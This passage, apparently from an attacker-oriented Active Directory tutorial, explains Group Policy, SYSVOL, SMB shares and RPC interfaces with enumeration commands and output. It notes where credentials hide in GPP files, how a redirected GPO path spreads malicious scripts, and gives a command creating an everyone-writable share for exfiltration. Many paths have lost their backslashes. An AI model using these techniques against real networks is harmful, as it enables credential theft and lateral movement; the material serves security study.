AUTHORITYNetwork<br \/>\nService&#8221; that is usually use for running web servers and stuff like that, so<br \/>\nif you can compromise a web server, maybe you can use <a href=\"https:\/\/labs.f-secure.com\/archive\/incognito-v2-0-released\/\">incognito<\/a> to impersonate<br \/>\nsome domain user across the network. But definitely, if you want to elevate<br \/>\nprivileges with SeImpersonatePrivilege in the local machine, use a <a href=\"https:\/\/jlajara.gitlab.io\/others\/2020\/11\/22\/Potatoes_Windows_Privesc.html\">potato<\/a>.<\/dd>\n<\/dl>\n<p>There are other privileges that can be used to get elevation of privileges in<br \/>\nWindows machines, if you are interested in them, you should check the <a href=\"https:\/\/github.com\/hatRiot\/token-priv\">token-priv<\/a><br \/>\nrepository of FoxGlove that includes a paper describing them and PoCs to exploit<br \/>\nthem, highly recommended resource.<\/p>\n<h2 id=\"group-policy\">\nGroup Policy<\/h2>\n<p>The target of Active Directory is to manage the computers and users of an<br \/>\norganization. And part of the managing process is carried out by Group Policy.<\/p>\n<p>The <a href=\"https:\/\/adsecurity.org\/?p=2716\">Group Policy<\/a> is a mechanism that allows to apply a set of rules\/actions to<br \/>\nthe Active Directory network users and computers. Some of the possibilities are:<\/p>\n<ul>\n<li>Disable NTLM<\/li>\n<li>Require password complexity<\/li>\n<li>Execute an scheduled or immediate task<\/li>\n<li>Create local users in computers<\/li>\n<li>Set a default wallpaper<\/li>\n<li>Synchronize files with OneDrive<\/li>\n<li>Etc<\/li>\n<\/ul>\n<p>In order to define the rules, you can create Group Policy Objects<br \/>\n(GPOs). Each GPO defines a series of policies that can be applied to specific<br \/>\nmachines of the domains. Besides, you can create policies that applies to the<br \/>\nentire machine or the user sessions. For example, you can execute an script when<br \/>\nthe computer starts or when an user logs on.<\/p>\n<h3 id=\"gpo-scope\">\nGPO Scope<\/h3>\n<p>When creating a GPO, you need to specify to <a href=\"https:\/\/docs.microsoft.com\/en-us\/previous-versions\/windows\/it-pro\/windows-server-2012-R2-and-2012\/dn581922(v=ws.11)#scope\">which computers is going to be<br \/>\napplied<\/a>. To do this, you need to link the GPO to one of the following database<br \/>\ncontainers:<\/p>\n<ul>\n<li>Domain<\/li>\n<li>Organizational Unit (OU)<\/li>\n<li><a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/adschema\/c-site\">Site<\/a> (A container to have groups of computers that are close physically, not<br \/>\nrecommended for GPOs)<\/li>\n<\/ul>\n<p>There is also possible for a Windows machine to have a Local Group Policy.<br \/>\nTherefore, many different GPOs can be applied to a machine at different levels,<br \/>\nthat are processed in the following order:<\/p>\n<ol>\n<li>Local<\/li>\n<li>Site<\/li>\n<li>Domain<\/li>\n<li>Organizational Unit<\/li>\n<\/ol>\n<p>Here, the Local GPOs are the ones with the least preference, while the OU GPOs<br \/>\nare the ones with the most preference. Therefore, if for example a GPO applied<br \/>\nto a Domain contradicts a local GPO, then the domain GPO will be follow.<\/p>\n<p>However, there is also possible for Active Directory GPOs (no local)<br \/>\nestablishing a rule as <em>No Override<\/em>. Thus, if a domain policy rule is set, no<br \/>\nrules from OUs can contradict that superior rule.<\/p>\n<p>Also, a GPO can have a <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/security\/threat-protection\/windows-firewall\/create-wmi-filters-for-the-gpo\">WMI query<\/a> associated, that allows to filter the<br \/>\ncomputer to which the GPO will be applied. For example, to only apply the<br \/>\npolicies to Windows 7 computers.<\/p>\n<p>In a domain, each computer checks for policy updates every 90 minutes, except the<br \/>\nDomain Controllers, which do it every 5 minutes. You can also perform an<br \/>\nimmediate check with <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows-server\/administration\/windows-commands\/gpupdate\">gpupdate<\/a>.<\/p>\n<p>Each GPO is identified by a GUID and is composed by two entities: A Group Policy<br \/>\ntemplate and a Group Policy container.<\/p>\n<h3 id=\"group-policy-template\">\nGroup Policy template<\/h3>\n<p>The Group Policy template is a directory in the SYSVOL share. The templates can be<br \/>\nlocated in <code>\\&lt;domain&gt;SYSVOL&lt;domain&gt;Policies<\/code>. Each template directory is<br \/>\nnamed using the GPO GUID.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"powershell\">PS C:&gt; ls \\contoso.localSYSVOLcontoso.localPolicies\n    Directory: \\contoso.localSYSVOLcontoso.localPolicies\nMode                LastWriteTime         Length Name\n----                -------------         ------ ----\nd-----       11\/28\/2020  10:02 AM                {31B2F340-016D-11D2-945F-00C04FB984F9}\nd-----       11\/28\/2020  10:02 AM                {6AC1786C-016F-11D2-945F-00C04fB984F9}\nd-----        4\/19\/2021   5:12 PM                {BE864EFE-6C07-4A53-A9D8-7EB6EB36BE5A}<\/code><\/pre><figcaption>\nList of GP templates<br \/>\n<\/figcaption><\/figure>\n<p>Each GPO directory contains the following items:<\/p>\n<ul>\n<li>Machine directory: For machine level policies.<\/li>\n<li>User directory : For user level policies.<\/li>\n<li>GPT.INI: Basic info about the GPO, the Version an DisplayName.<\/li>\n<\/ul>\n<p>Then, under <a href=\"https:\/\/docs.microsoft.com\/en-us\/previous-versions\/windows\/it-pro\/windows-server-2003\/cc759367(v=ws.10)?redirectedfrom=MSDN#subfolders-of-the-group-policy-template\">these directories<\/a> could very different files and directories where<br \/>\nyou can find configuration INI files that specify registry keys values, groups<br \/>\nmembers or scripts to execute. And, if you are lucky, maybe you find some<br \/>\n<a href=\"https:\/\/adsecurity.org\/?p=2288\">credentials in scripts or Group Policy Preferences (GPP) files<\/a> with cpassword<br \/>\ntags. You can use the <a href=\"https:\/\/github.com\/PowerShellMafia\/PowerSploit\/blob\/master\/Exfiltration\/Get-GPPPassword.ps1\">Get-GPPPasword<\/a> script to search for GPP credentials.<\/p>\n<blockquote><p>The <a href=\"https:\/\/docs.microsoft.com\/en-us\/previous-versions\/windows\/it-pro\/windows-server-2012-R2-and-2012\/dn581922(v=ws.11)#scope\">Group Policy Preferences<\/a> is the name used for a set of new policies that<br \/>\nwere added in Windows Server 2008.<\/p><\/blockquote>\n<h3 id=\"group-policy-container\">\nGroup Policy container<\/h3>\n<p>In order to allow machines to locate the Group Policy templates,  the Active<br \/>\nDirectory database stores information about the GPOs under the<br \/>\n<code>CN=Policies,CN=System,DC=&lt;domain&gt;,DC=&lt;com&gt;<\/code> container. Each GPO is stored in a<br \/>\n<a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/adschema\/c-grouppolicycontainer\">GroupPolicyContainer<\/a> object that contains the GUID GPO and the path of the GP<br \/>\ntemplate.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"powershell\">PS C:&gt; Get-ADObject -LDAPFilter \"(ObjectClass=GroupPolicyContainer)\" -Properties Name, DisplayName,gPCFileSysPath | select Name, DisplayName,GPCFileSysPath | Format-List\nName           : {31B2F340-016D-11D2-945F-00C04FB984F9}\nDisplayName    : Default Domain Policy\nGPCFileSysPath : \\contoso.localsysvolcontoso.localPolicies{31B2F340-016D-11D2-945F-00C04FB984F9}\nName           : {6AC1786C-016F-11D2-945F-00C04fB984F9}\nDisplayName    : Default Domain Controllers Policy\nGPCFileSysPath : \\contoso.localsysvolcontoso.localPolicies{6AC1786C-016F-11D2-945F-00C04fB984F9}\nName           : {BE864EFE-6C07-4A53-A9D8-7EB6EB36BE5A}\nDisplayName    : test policy\nGPCFileSysPath : \\contoso.localSysVolcontoso.localPolicies{BE864EFE-6C07-4A53-A9D8-7EB6EB36BE5A}<\/code><\/pre><figcaption>\nList domain GPOs<br \/>\n<\/figcaption><\/figure>\n<p>You should notice that the GPO GUID is different from the GUID used to identify<br \/>\neach object in the Active Directory database. Also notice that if you are able<br \/>\nto edit the <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/adschema\/a-gpcfilesyspath\">GPCFileSysPath<\/a> property of a GPO, you could set a path that you<br \/>\ncontrol and create a malicious GPO that can contain malicious scripts that will<br \/>\nbe executed on several machines.<\/p>\n<p>On the other hand, the database objects of domain, OUs and sites are linked to<br \/>\nthe GPOs by using the <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/adschema\/a-gplink\">GpLink<\/a> property.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"powershell\">PS C:&gt; Get-ADObject -LDAPFilter '(gPLink=*)' -Properties CanonicalName,gpLink | select objectclass,CanonicalName,gplink | Format-List\nobjectclass   : domainDNS\nCanonicalName : contoso.local\/\ngplink        : [LDAP:\/\/cn={BE864EFE-6C07-4A53-A9D8-7EB6EB36BE5A},cn=policies,cn=system,DC=contoso,DC=local;1][LDAP:\/\/C\n                N={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=contoso,DC=local;0]\nobjectclass   : organizationalUnit\nCanonicalName : contoso.local\/Domain Controllers\ngplink        : [LDAP:\/\/CN={6AC1786C-016F-11D2-945F-00C04fB984F9},CN=Policies,CN=System,DC=contoso,DC=local;0]\nobjectclass   : organizationalUnit\nCanonicalName : contoso.local\/web servers\ngplink        : [LDAP:\/\/cn={BE864EFE-6C07-4A53-A9D8-7EB6EB36BE5A},cn=policies,cn=system,DC=contoso,DC=local;0]<\/code><\/pre><figcaption>\nList domains and OUs with linked GPOs<br \/>\n<\/figcaption><\/figure>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"powershell\">PS C:&gt; Get-ADObject -LDAPFilter '(gPLink=*)' -SearchBase \"CN=Configuration,$((Get-ADDomain).DistinguishedName)\" -Properties CanonicalName,gpLink | select objectclass,CanonicalName,gplink | Format-List\nobjectclass   : site\nCanonicalName : contoso.local\/Configuration\/Sites\/mysite\ngplink        : [LDAP:\/\/cn={BE864EFE-6C07-4A53-A9D8-7EB6EB36BE5A},cn=policies,cn=system,DC=contoso,DC=local;0]<\/code><\/pre><figcaption>\nList sites with linked GPOs<br \/>\n<\/figcaption><\/figure>\n<p>A computer can determines the GPOs that are applied to itself by examining the OUs<br \/>\nobjects to which it belongs and the domain object.<\/p>\n<p>For example a machine in whose computer object is in<br \/>\n<code>CN=mypc,OU=workstations,OU=computers,DC=domain,DC=com<\/code> will apply the<br \/>\nGPOs of  <code>workstations<\/code> and <code>computer<\/code> OU and <code>domain.com<\/code> domain.<\/p>\n<h2 id=\"communication-protocols\">\nCommunication Protocols<\/h2>\n<p>In Active Directory there are plenty of protocols that are used to communicate<br \/>\nmachines between them. They can be used to pivot across the network and get<br \/>\ncommand execution machines in different computers of the environment, so it is<br \/>\nimportant to be aware of their purpose and the capabilities they offer.<\/p>\n<blockquote><p>You can check the <a href=\"https:\/\/docs.microsoft.com\/en-US\/troubleshoot\/windows-server\/networking\/service-overview-and-network-port-requirements\">ports required by Windows services in the Microsoft docs<\/a>.<\/p><\/blockquote>\n<p>So let&#8217;s review them.<\/p>\n<h3 id=\"smb\">\nSMB<\/h3>\n<p><a href=\"https:\/\/en.wikipedia.org\/wiki\/Server_Message_Block#SMB_\/_CIFS_\/_SMB1\">SMB<\/a> (Server Message Block) is a protocol widely used in Active Directory<br \/>\nnetworks (and any other Windows network) to share files and communication<br \/>\nbetween machines, usually Windows machines.<\/p>\n<p>Each Windows machine by default allows connections to it by using the SMB<br \/>\nprotocol. Originally, SMB works over NetBIOS (<a href=\"#netbios-datagram-service\">datagram<\/a> and <a href=\"#netbios-session-service\">session<\/a> services) but<br \/>\nnowadays it can be used directly over TCP. The Windows computers have the<br \/>\n<strong>port 445\/TCP<\/strong> open to handle SMB connections.<\/p>\n<figure>\n<pre>                                 .--------\n                                |\n                                |\n                              .---\n                   .--NBSSN--&gt;| 139\n                   |          '---\n         .-----.   |            |  Windows\n         | SMB |&gt;--|            |\n         '-----'   |            |  machine\n            |      |          .---\n            |      '---TCP---&gt;| 445\n            |                 '---\n            |                   |\n            |                   |\n            |                   '--------\n     .------------.\n     |            |\n  .------.   .----------.\n  | NTLM |   | Kerberos |\n  '------'   '----------'\n<\/pre><figcaption>\nSMB and related protocols\/ports<br \/>\n<\/figcaption><\/figure>\n<p>As an attacker is useful to know about SMB since is used to create shares which<br \/>\ncan contain valuable information and can be used to exfiltrate information from<br \/>\nmachines.<\/p>\n<h4 id=\"shares\">\nShares<\/h4>\n<p>Shares are like folders that a machine shares in order to be accessed by<br \/>\nother computers\/users in the network. You can list the shares by using the<br \/>\n<a href=\"https:\/\/docs.microsoft.com\/en-us\/previous-versions\/windows\/it-pro\/windows-server-2012-R2-and-2012\/hh875576(v=ws.11)\">net view<\/a> command, the <a href=\"https:\/\/docs.microsoft.com\/en-us\/powershell\/module\/smbshare\/get-smbshare?view=windowsserver2019-ps\">Get-SmbShare<\/a> Powershell Cmdlet, or <a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\/blob\/master\/examples\/smbclient.py\">smbclient.py<\/a>.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"cmd\">C:&gt; net view \\dc01.contoso.local \/all\nShared resources at \\dc01.contoso.local\nShare name  Type  Used as  Comment\n-------------------------------------------------------------------------------\nADMIN$      Disk           Remote Admin\nC$          Disk           Default share\nIPC$        IPC            Remote IPC\nNETLOGON    Disk           Logon server share\nSYSVOL      Disk           Logon server share\nThe command completed successfully.<\/code><\/pre><figcaption>\nShares of the domain DC<br \/>\n<\/figcaption><\/figure>\n<p>You can access to the shares of other computers in similar way that you would<br \/>\naccess a folder in your local machine. For accessing a share, you can use the<br \/>\na UNC path like <code>\\dc01.contoso.localSYSVOL<\/code> or map the remote share to a<br \/>\nlocal device by using <a href=\"https:\/\/docs.microsoft.com\/en-us\/previous-versions\/windows\/it-pro\/windows-server-2012-R2-and-2012\/gg651155(v=ws.11)\">net use<\/a> command.<\/p>\n<p>To refer to the target computer in the UNC path, you can use its dns name or its<br \/>\nNetBIOS name. For example <code>net view \\dc01.contoso.local<\/code> or <code>net view \\dc01<\/code>.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"cmd\">C:&gt; dir \\dc01sysvol\n Volume in drive \\dc01sysvol has no label.\n Volume Serial Number is 609D-528B\n Directory of \\dc01sysvol\n28\/11\/2020  11:02    &lt;DIR&gt;          .\n28\/11\/2020  11:02    &lt;DIR&gt;          ..\n28\/11\/2020  11:02    &lt;JUNCTION&gt;     contoso.local [C:WindowsSYSVOLdomain]\n               0 File(s)              0 bytes\n               3 Dir(s)  20,050,214,912 bytes free<\/code><\/pre><figcaption>\nList folders inside a share<br \/>\n<\/figcaption><\/figure>\n<p>Shares are very useful for users in order to access to files of other machines<br \/>\nwithout really need to worry about using an special program or something like<br \/>\nthat. Hence, they are also very practical for attackers to move files from<br \/>\none computer to another in order to exfiltrate them.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"cmd\">net share Temp=C:Temp \/grant:everyone,FULL<\/code><\/pre><figcaption>\nCreating a shared that can be accesed by everyone<br \/>\n<\/figcaption><\/figure>\n<h5 id=\"default-shares\">\nDefault shares<\/h5>\n<p>You may notice previously that there are some shares that finished with <code>$<\/code>.<br \/>\nThese shares are <code>C$<\/code>, <code>ADMIN$<\/code> and <code>IPC$<\/code> and they are present by default in<br \/>\nany Windows computer.<\/p>\n<p>In order to access to <code>C$<\/code> and <code>ADMIN$<\/code> you are required to have Administrator<br \/>\nprivileges in the target computer. With these shares (specially <code>C$<\/code>) you can<br \/>\ninspect all the computer files. Actually, these shares are used by several<br \/>\ntools. For example, <a href=\"https:\/\/docs.microsoft.com\/en-us\/sysinternals\/downloads\/psexec\">PsExec<\/a> uses <code>ADMIN$<\/code> to deploy a binary on charge of<br \/>\nexecuting the given command.<\/p>\n<p>The <code>IPC$<\/code> shared is an special shared used to create <a href=\"#named-pipes\">named pipes<\/a>.<\/p>\n<h5 id=\"default-domain-shares\">\nDefault domain shares<\/h5>\n<p>Apart from the common shares, in a domain, the Domain Controllers also publish<br \/>\nthe <code>SYSVOL<\/code> and the <code>NETLOGON<\/code> shares that are available for any user\/computer<br \/>\nin the domain. They are used to store files that need to be accessed by all the<br \/>\nmachines (at least Windows machines) of the domain.<\/p>\n<p>The <code>SYSVOL<\/code> share is commonly used to store the Group Policy templates used by<br \/>\nthe computers to read the Group Policies deployed in the domain.<br \/>\n<a href=\"https:\/\/adsecurity.org\/?p=2288\">Sometimes these policies contains passwords<\/a>. You can access to the SYSVOL share<br \/>\nwith the <code>\\&lt;domain&gt;SYSVOL<\/code> UNC path.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"cmd\">PS C:&gt; dir \\contoso.localSYSVOLcontoso.local\n    Directory: \\contoso.localSYSVOLcontoso.local\nMode                 LastWriteTime         Length Name\n----                 -------------         ------ ----\nd-----        19\/04\/2021     17:12                Policies\nd-----        28\/11\/2020     10:02                scripts<\/code><\/pre><figcaption>\nList SYSVOL folders<br \/>\n<\/figcaption><\/figure>\n<p>The <code>\\&lt;domain&gt;\\SYSVOL&lt;domain&gt;scripts<\/code> policy is an alias for the <code>NETLOGON<\/code><br \/>\nshare. The NETLOGON share is used to store the logon scripts that need to be<br \/>\nexecuted for the computers of the domain.<\/p>\n<h4 id=\"named-pipes\">\nNamed pipes<\/h4>\n<p>The <code>IPC$<\/code> share is not a directory, but it is used to create <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/ipc\/named-pipes\">named pipes<\/a>, that<br \/>\nallow processes of different computers interact between them with mechanisms<br \/>\nlike <a href=\"#rpc\">RPC<\/a> (Remote Procedure Calls).<\/p>\n<p>Named pipes can be seen as TCP ports that allows machines communicate between<br \/>\nthem, but inside of the SMB protocol. They are used to do RPC calls, allowing a<br \/>\nlot of protocols to communicate over SMB.<\/p>\n<p>Usually the protocols that work over the RPC\/SMB stack defines a known named<br \/>\npipe that can be used to contact with the remote service (same idea as TCP\/UDP<br \/>\nports). For example, RPC uses the <code>pipenetlogon<\/code> named pipe to exchange the<br \/>\nmessages of the Netlogon protocol.<\/p>\n<h3 id=\"http\">\nHTTP<\/h3>\n<p><a href=\"https:\/\/en.wikipedia.org\/wiki\/Hypertext_Transfer_Protocol\">HTTP<\/a> (Hypertext Transfer Protocol) is probably the most famous application<br \/>\nprotocol out there, since it is the protocol of the web. But apart from its<br \/>\nmajor role in Internet, is also commonly used in Active Directory.<\/p>\n<p>HTTP is used as transport protocol by many other application protocols that are<br \/>\npresent in a Active Directory domain like <a href=\"#winrm\">WinRM<\/a> (and thus <a href=\"#powershell-remoting\">Powershell Remoting<\/a>),<br \/>\n<a href=\"#rpc\">RPC<\/a> or <a href=\"#adws\">ADWS<\/a> (Active Directory Web Services).<\/p>\n<figure>\n<pre>                                 .----------\n                                 |\n                               .---\n                      .-------&gt;| 80 HTTP \/ WebDAV\n                      |        '---\n                      |          |\n                      |          |\n                      |        .---\n                      |-------&gt;| 443 HTTPS \/ WebDAV \/ PSWA\n                      |        '---\n                      |          |\n                      |          |\n                      |        .---\n                      |-------&gt;| 593 RPC over HTTP Endpoint Mapper\n                      |        '---  \n        .---------.   |          |\n        | HTTP(S) |&gt;--|          |\n        '---------'   |        .---\n             |        |-------&gt;| 5985 WinRM HTTP\n             |        |        '---\n             |        |          |\n             |        |          |\n             |        |        .---\n             |        |-------&gt;| 5986 WinRM HTTPS\n             |        |        '---\n             |        |          |\n             |        |          |\n             |        |        .---\n             |        '-------&gt;| 9389 ADWS (on DCs)\n             |                 '---\n             |                   |\n             |                   '----------\n      .-------------.\n      |             |\n  .------.     .----------.\n  | NTLM |     | Kerberos |\n  '------'     '----------'\n<\/pre><figcaption>\nPorts used by HTTP services in Active Directory<br \/>\n<\/figcaption><\/figure>\n<p>In order to be fully integrated with Active Directory, HTTP supports<br \/>\nauthentication with both NTLM and Kerberos. This is important from a security<br \/>\nperspective since it implies that HTTP connections are susceptible of suffering<br \/>\nfrom Kerberos Delegation or <a href=\"https:\/\/en.hackndo.com\/ntlm-relay\/#what-can-be-relayed\">NTLM Relay<\/a> attacks.<\/p>\n<p>In the case of NTLM relay is specially important to note that HTTP connections<br \/>\ndon&#8217;t required signing, so are very susceptible to NTLM cross relay attacks. In<br \/>\nfact, there are many attacks like the <a href=\"https:\/\/dirkjanm.io\/abusing-exchange-one-api-call-away-from-domain-admin\/\">PrivExchange<\/a> or some<br \/>\n<a href=\"https:\/\/shenaniganslabs.io\/2019\/01\/28\/Wagging-the-Dog.html#case-study-1-mssql-rcelpe\">Kerberos RBCD computer takeover<\/a> that rely in NTLM relay from HTTP to LDAP. If<br \/>\nyou able to coerce a computer to perform an HTTP request using the computer<br \/>\ndomain account with NTLM authentication , then you can compromise the computer<br \/>\nwith a <a href=\"https:\/\/shenaniganslabs.io\/2019\/01\/28\/Wagging-the-Dog.html#case-study-2-windows-1020162019-lpe\">little of Kerberos RBCD magic<\/a>.<\/p>\n<p>Related to HTTP, in Windows machines you can install the <a href=\"https:\/\/www.iis.net\/\">IIS<\/a> web server, that is<br \/>\nthe basis for some technologies like <a href=\"https:\/\/en.wikipedia.org\/wiki\/WebDAV\">WebDAV<\/a> or PSWA (Powershell Web Access),<br \/>\nthat can be enabled in the <code>\/pswa<\/code> endpoint.<\/p>\n<figure>\n<img decoding=\"async\" src=\".\/pswa.png\" alt=\".\/pswa.png\" title=\".\/pswa.png\"><figcaption>\nPSWA login<br \/>\n<\/figcaption><\/figure>\n<p>Moreover, you can create a SOCKS proxy over HTTP in a IIS installation by using<br \/>\n<a href=\"https:\/\/github.com\/blackarrowsec\/pivotnacci\">pivotnacci<\/a>.<\/p>\n<h3 id=\"rpc\">\nRPC<\/h3>\n<p><a href=\"https:\/\/en.wikipedia.org\/wiki\/Remote_procedure_call\">RPC<\/a> (Remote Procedure Call) is a protocol that allows programs from different<br \/>\nmachines communicate between them by calling functions over the network.<br \/>\nMicrosoft have developed a RPC protocol called <a href=\"https:\/\/en.wikipedia.org\/wiki\/Microsoft_RPC\">MSRPC<\/a>, that is a modified version<br \/>\nof <a href=\"https:\/\/en.wikipedia.org\/wiki\/DCE\/RPC\">DCE\/RPC<\/a> with some extensions (defined in <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-rpce\/290c38b1-92fe-4229-91e6-4fc376610c15\">RPCE<\/a>).<\/p>\n<p>MSRPC can use different <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-rpce\/472083a9-56f1-4d81-a208-d18aef68c101\">protocols for transport<\/a>, like:<\/p>\n<ul>\n<li>TCP, by using the port 135 for the Endpoint Mapper and ports from 49152 to<br \/>\n65535 as endpoints<\/li>\n<li>SMB by using the named pipes<\/li>\n<li>NetBIOS<\/li>\n<li>HTTP, by using the port 593 for the Endpoint Mapper and ports from 49152 to<br \/>\n65535 as endpoints<\/li>\n<\/ul>\n<figure>\n<pre>                                                 .---\n             .-----&gt;-----------&gt;----------------&gt;| 135 Endpoint Mapper\n             |                                   '---\n             |\n             |                       .-------.   .---\n             |-----&gt;------------.---&gt;| NBSSN |--&gt;| 139\n             |                  |    '-------'   '---\n             |                  ^\n .-----.     |      .-----.     |                .---\n | RPC |&gt;----|-----&gt;| SMB |&gt;----'---------------&gt;| 445\n '-----'     |      '-----'                      '---\n    |        |         |\n    |        |         |        .------.         .---\n    |        |-----&gt;---|-------&gt;| HTTP |&gt;--.----&gt;| 593 Endpoint Mapper\n    |        |         |        '------'   |     '---\n    |        |         |           |       v\n    |        |         |           |       |     .---\n    |        '-----&gt;---|-------&gt;---|-------'----&gt;| 49152 - 65535\n    |                  |           |             '---\n    |                  |           |\n    '-----------------.'-----------'\n                      |\n                .-----'-----.\n                |           |\n             .------.  .----------.\n             | NTLM |  | Kerberos |\n             '------'  '----------'\n<\/pre><figcaption>\nRPC related protocols and ports<br \/>\n<\/figcaption><\/figure>\n<p>In a domain, MSRPC is constantly used by computers to communicate between them.<br \/>\nWindows machines use MSRPC for a lot of different tasks, such as manage the<br \/>\nservices or read the registry of other machines.<\/p>\n<blockquote><p>RPC is also widely used to communicate programs in the local machine through<br \/>\nLRPC (Local RPC) or <a href=\"https:\/\/www.youtube.com\/watch?v=D-F5RxZ_yXc\">ALPC<\/a> (Advanced Local Procedure Call).<\/p><\/blockquote>\n<p>For perform all those tasks, Microsoft have define several MSRPC interfaces,<br \/>\nthat define different functions, which allows to query\/call different services<br \/>\nof the computer from a remote program.<\/p>\n<p>Each interface is identified by a UUID (Universally unique identifier) like<br \/>\n<code>12345778-1234-ABCD-EF00-0123456789AB<\/code>, and for each interface different<br \/>\nendpoints are used. Several interfaces have predefined endpoints, such as named<br \/>\npipes. For example, the Service Control Manager (SCMR) uses the <code>PIPEsvcctl<\/code><br \/>\nnamed pipe.<\/p>\n<p>However, for other interfaces the remote endpoint changes, so in order to<br \/>\ndetermine it, the RPC client has to contact the Endpoint Mapper (EPM) to resolve<br \/>\nthe remote endpoint from the GUID.<\/p>\n<p>Depending on the interface, different transport protocols can be used. You can<br \/>\nuse the impacket <a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\/blob\/master\/examples\/rpcdump.py\">rpcdump.py<\/a> and <a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\/blob\/master\/examples\/rpcmap.py\">rpcmap.py<\/a> utilities to discover the RPC<br \/>\nendpoints (and their protocols) that can be used for connecting to a given<br \/>\nservice in a remote machine. Additionally, you can explore the RPC endpoints in<br \/>\nyour local machine by using <a href=\"https:\/\/www.rpcview.org\/\">RpcView<\/a>.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"bash\">$ python rpcdump.py 'contoso.local\/Han:Solo1234!@192.168.100.2' | grep LSAT -A 20 | grep -v ncalrpc\nProtocol: [MS-LSAT]: Local Security Authority (Translation Methods) Remote \nProvider: lsasrv.dll \nUUID    : 12345778-1234-ABCD-EF00-0123456789AB v0.0 \nBindings: \n          ncacn_np:\\DC01[pipelsass]\n          ncacn_ip_tcp:192.168.100.2[49667]\n          ncacn_http:192.168.100.2[49669]\n          ncacn_np:\\DC01[pipecb4e7232b43a99b8]<\/code><\/pre><figcaption>\nList remote endpoints of LSAT interface<br \/>\n<\/figcaption><\/figure>\n<p>To give you an idea of what can be done with RPC, here are the descriptions of<br \/>\nsome of the most used interfaces. I have divided the interfaces by transport<br \/>\nprotocols in order to allow you to know what can be accomplished when different<br \/>\nports of the machine are open.<\/p>\n<h4 id=\"rpc-over-smb\">\nRPC over SMB<\/h4>\n<p>The following RPC interface\/protocols can be (and they are commonly) used<br \/>\nthrough SMB:<\/p>\n<dl>\n<dt>\nDHCPM<\/dt>\n<dd><a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-dhcpm\/d117857c-1491-46a2-a68e-c844be3627d4\">DHCPM<\/a> (DHCP Server Management) is used to manage the configuration of<br \/>\na DHCP server.<\/dd>\n<dt>\nRPRN<\/dt>\n<dd><a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-rprn\/d42db7d5-f141-4466-8f47-0a4be14e2fc1\">RPRN<\/a> (Print System Remote) is used to manage prints from a remote<br \/>\ncomputer. You can use <a href=\"https:\/\/github.com\/leechristensen\/SpoolSample\">SpoolSample<\/a> to trigger the <a href=\"https:\/\/www.slideshare.net\/harmj0y\/derbycon-the-unintended-risks-of-trusting-active-directory\/41\">printer bug<\/a> trough<br \/>\nRPRN.<\/dd>\n<dt>\nRRP<\/dt>\n<dd><a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/MS-RRP\/0fa3191d-bb79-490a-81bd-54c2601b7a78\">RRP<\/a> (Windows Remote Registry Protocol) allows to read and modify the<br \/>\nregistry keys from a remote computer. You can use <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows-server\/administration\/windows-commands\/reg\">reg<\/a> (if &#8220;The network path was<br \/>\nnot found.&#8221; error is printed, you need to <a href=\"https:\/\/msfn.org\/board\/topic\/151891-windows-reg-command-across-network\/\">start the &#8220;Remote Registry&#8221; service<\/a><br \/>\nin the remote machine) or <a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\/blob\/master\/examples\/reg.py\">reg.py<\/a> (this automatically starts the &#8220;Remote<br \/>\nRegistry&#8221; service with SRVS) to manipulate the remote registry.<\/dd>\n<dt>\nSAMR<\/dt>\n<dd><a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-samr\/4df07fab-1bbc-452f-8e92-7853a3c7e380\">SAMR<\/a> (SAM Remote) allows to connect the SAM (Security Account<br \/>\nManager) of other computers, in order to manage users and groups. You can also<br \/>\nuse <a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\/blob\/master\/examples\/samrdump.py\">samrdump.py<\/a> to get information about local users of the machine.<\/dd>\n<dt>\nSCMR<\/dt>\n<dd><a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-scmr\/705b624a-13de-43cc-b8a2-99573da3635f\">SCMR<\/a> (SCM Remote) is used to connect with the <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/services\/service-control-manager\">SCM<\/a> (Service Control<br \/>\nManager) of other machines, in order to manage the services. Is the protocol<br \/>\nused by the <a 